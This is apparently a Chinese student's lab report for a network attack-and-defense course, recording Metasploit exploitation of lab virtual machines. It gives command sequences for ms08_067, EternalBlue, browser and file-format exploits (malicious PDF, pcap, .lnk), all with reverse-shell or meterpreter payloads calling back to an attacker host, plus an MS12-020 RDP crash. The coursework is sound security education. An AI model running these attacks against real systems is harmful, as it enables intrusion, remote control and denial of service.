2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用
- 一、知识点总结
- 二、攻击实例
- 主动攻击的实践
ms08_067
payload/generic/shell_reverse_tcp
(成功)payload/windows/meterpreter/reverse_tcp
(失败)
ms17_010_eternalblue
payload/generic/shell_reverse_tcp
(成功)payload/windows/x64/meterpreter/reverse_tcp
(成功)payload/windows/x64/meterpreter/bind_tcp
(成功且唯一)payload/windows/x64/shell/reverse_tcp_rc4
(成功且唯一)
- 攻击浏览器的实践
- 攻击客户端的实践
Adobe
(成功)wireshark_packet_dect
(成功且唯一)ms10_046
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(成功且唯一)
- 成功应用任何一个辅助模块
- 在Exp 5-1中应用
use auxiliary/scanner/portscan/tcp
搜索靶机开放端口 MS12-020(CVE-2012-0002)蓝屏攻击
(成功)
- 在Exp 5-1中应用
- 主动攻击的实践
- 三、实验中遇到的问题及解决方案
- 四、实验总结
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode
"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
- 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
- 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode
的起始地址,所以加入nops
以增加攻击成功的概率
- 编码模块
Encoders
- 改变
payload
形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行 - 查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动armitage
armitage
- 启动服务器
- webgui
二、攻击实例
靶机:Microsoft Windows 2000(10.0.0.140)
payload : generic/shell_reverse_tcp
实验步骤
- 靶机和攻击机ping成功(建议改成桥接模式)
- 攻击者试探靶机是否存在ms08_067这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.140
- 建议使用这个步骤,要不会换很多台虚拟机找靶机……(稍微省事一点吧)
- 查看到靶机的版本号
- 查看到靶机存在ms08_067这个漏洞,有了这个大前提,我们就可以开始攻击了
- 输入
msfconsole
打开metasploit控制台,遇到图下这个问题。因为没有连接到服务器。 - 输入
service postgresql start
启动服务器,再重新进入metasploit控制台就可以了(参考链接) - 查看一下ms08_067这个漏洞在哪里
search ms08-067
- 选择漏洞
use exploit/windows/smb/ms08_067_netapi
查看设置信息
show options
- 设置靶机ip
set RHOSTS 10.0.0.140
- 默认端口为445,使用辅助模块查看445端口是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 10.0.0.140 # 设置监听者地址
exploit # 攻击
- 查看targets
show targets
也可以看到我们靶机的类型set target 1
其实这里不修改也是可以的 - 查看可用payload
show payloads
选择generic/shell_reverse_tcp
set payload generic/shell_reverse_tcp
- 查看设置信息
show options
- 设置监听者ip
set LHOST 10.0.0.154
- 设置监听者端口号
set LPORT 5312
- 进行攻击
exploit
尝试更换一个payload : windows/meterpreter/reverse_tcp
在刚才的实验基础上我继续尝试了and前面步骤都一样就是payload不一样,但是攻击失败了
我在这篇博客里面找到了一些解释,大概的意思是和端口有关。然后我换了一个端口and重启win2000,然后又出现了这个错误
看英文解释是连接不上了,很显然是win2000出问题了。果然他开始自动重启了,好的这个虚拟机被我玩崩了(快照smile)
靶机:Microsoft Windows 7(10.0.0.168)
payload : generic/shell_reverse_tcp
实验步骤
nmap --script=vuln 10.0.0.168 #查看靶机开放端口、是否存在ms17_010
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show payloads #显示可用攻击载荷
set payload generic/shell_reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击
攻击成功
尝试更换一个payload : windows/x64/meterpreter/reverse_tcp
- 攻击成功
尝试再更换一个payload:windows/x64/meterpreter/bind_tcp
- 攻击成功
尝试再更换一个payload:windows/x64/shell/reverse_tcp_rc4
- 攻击成功
正常情况下只要是相对应的payloads都是可以成功的,还有很多选择就不罗列了
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : generic/shell_reverse_tcp
实验步骤
- 搜索漏洞
search ms11_050
- 使用漏洞
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
- 显示靶机类型
show targets
- 设置靶机类型
set target 3
- 显示可用攻击载荷
show payloads
- 选择攻击载荷
set payload generic/shell_reverse_tcp
显示配置信息
show options
- 设置监听地址
set LHOST 10.0.0.154
- 设置本地地址
set SRVHOST 10.0.0.154
- 开始攻击
exploit
- but攻击失败了
- 我尝试把IE浏览器的安全级别降到最低,失败again
- 重新在虚拟机中下载IE7(抱着低版本或许好攻击的想法),失败again
- 用同样的方法我攻击了 Windows 7 + IE8 ,我遇到了同样的问题
开始思考为什么,我猜测是IE浏览器的问题,and我还没解决……
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : windows/meterpreter/reverse_tcp
实验步骤
- 首先查看还有哪些浏览器漏洞
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
输入
ls
命令即可看到很多漏洞代码,随意选择一个吧- 输入
msfconsole
进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
查看一下这个漏洞的作用的作用
info
通过查看Description
可以知道这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个WebDAV服务,当以UNC路径访问该服务时,可以使用该服> 务运行任意负载。
- 接着就是一些常规操作
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
exploit #进行攻击
- 在靶机用浏览器打开链接
- 虽然靶机进入到了共享文件夹,但是监听方这边却显示无会话。且我在靶机刷新页面,监听方也是可以监控到。但是一直显示无会话,我猜测或许是会话中断了,但是却没有任何报错显示,无从查证。
- 没错,我又尝试了winXP+IE8。结果是一样的,也是可以访问共享文件,但是一直显示无会话……
- 然后,我又尝试了win2000,IE根本就访问不了那个页面
- 不死心的我,尝试了ms10_046的另外一个exploit,然后实现了下一个实验的成功
靶机:Windows XP
实验步骤
search ms14_064 #进行查找
use exploit/windows/browser/ms14_064_ole_code_execution #选择攻击模块
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #设置tcp反向连接
show targets #查看靶机
set SRVHOST 10.0.0.154 #设置攻方IP
set AllowPowerShellPrompt true #因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.0.0.154
set target 0 #设置winXP靶机
exploit #攻击
- 攻击成功
靶机:Windows XP
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
set FILENAME 20165312.pdf #设置生成pdf文件的文件名
exploit #攻击
- 将生成的
20165312.pdf
复制到Windows XP中 - kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
- 在靶机中打开
20165312.pdf
- 攻击成功
靶机:Windows XP
实验步骤
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat #万里挑一只为exploit
msfconsole #进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb #使用漏洞
info #查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
- 将生成的
passwords.pcap
复制到Windows XP中 - kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
在靶机中打开
passwords.pcap
攻击成功
靶机:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_tcp
实验步骤
search ms10-046 #看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader #使用漏洞
show payloads #显示可用攻击载荷
set windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set SRVHOST 10.0.0.154 #设置本地收听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击
将
/root/.msf4/local/msf.lnk
共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions
查看当前会话输入
sessions -i 1
即可选择第一个会话,然后就攻击成功(终于……)
靶机:Windows Server 2008 R2
实验步骤
search ms12-020 #搜索漏洞
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #使用漏洞
show options #查看配置信息
set RHOST 10.0.0.132 #设置攻击IP
exploit #开始攻击
- 攻击成功
1.在实现ms08-067
的时候,一开始我的靶机我使用的是windows xp系统,但是一直没有会话建立
- 参考一位学长的博客(讲解超级详细),发现了其中的原因。
- 第一点我忘记了一个大前提,我没有先扫描靶机存在的漏洞,使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.165
发现windows xp里面就没有这个漏洞 - 然后在windows xp中输入
systeminfo
命令,原来windows xp里面已经有了ms08-067漏洞的补丁
2.进行exploit
攻击的时候,出现了如下问题
- 我理解的意思大概就是被占用了,然后我试过换端口,没有起作用。最好的方法是重启msf
3.进行MS12-020
攻击的时候,出现了如下问题
- 我理解的意思大概是和RDP有关,参考这篇博客开启了Windows Server 2008 R2的RDP服务,然后就攻击成功了
1.实验总结与体会
实验的过程中一直困苦于no sessions的问题,有些问题最后解决了,有些问题还在遗留,总体上收获很大。虽然之前也使用过msfconsole,但是这次实验从系统上了解了他的六大模块,实验中用的最多的还是exploit和payload。从这次实验,我也更加感受到nmap的强大,感觉nmap和auxiliary的作用有相似之处。之前在做其他课程的实验也使用过nmap,但是这次却让我实验效率提高。
2.离实战还缺些什么技术
啊,这可是差的远了。实验参考了往届学长学姐的分析和做法,也尝试了新的攻击方法,遇到很多问题,好在成功了。对于msf我还是个小白,距离实战还有很远很远的路。
3.用自己的话解释什么是exploit,payload,encode.
exploit
攻击者对靶机进行攻击的这一过程
payload
攻击者进行攻击的“武器”
encode
编码,使得shellcode改变形状,不具有特定字符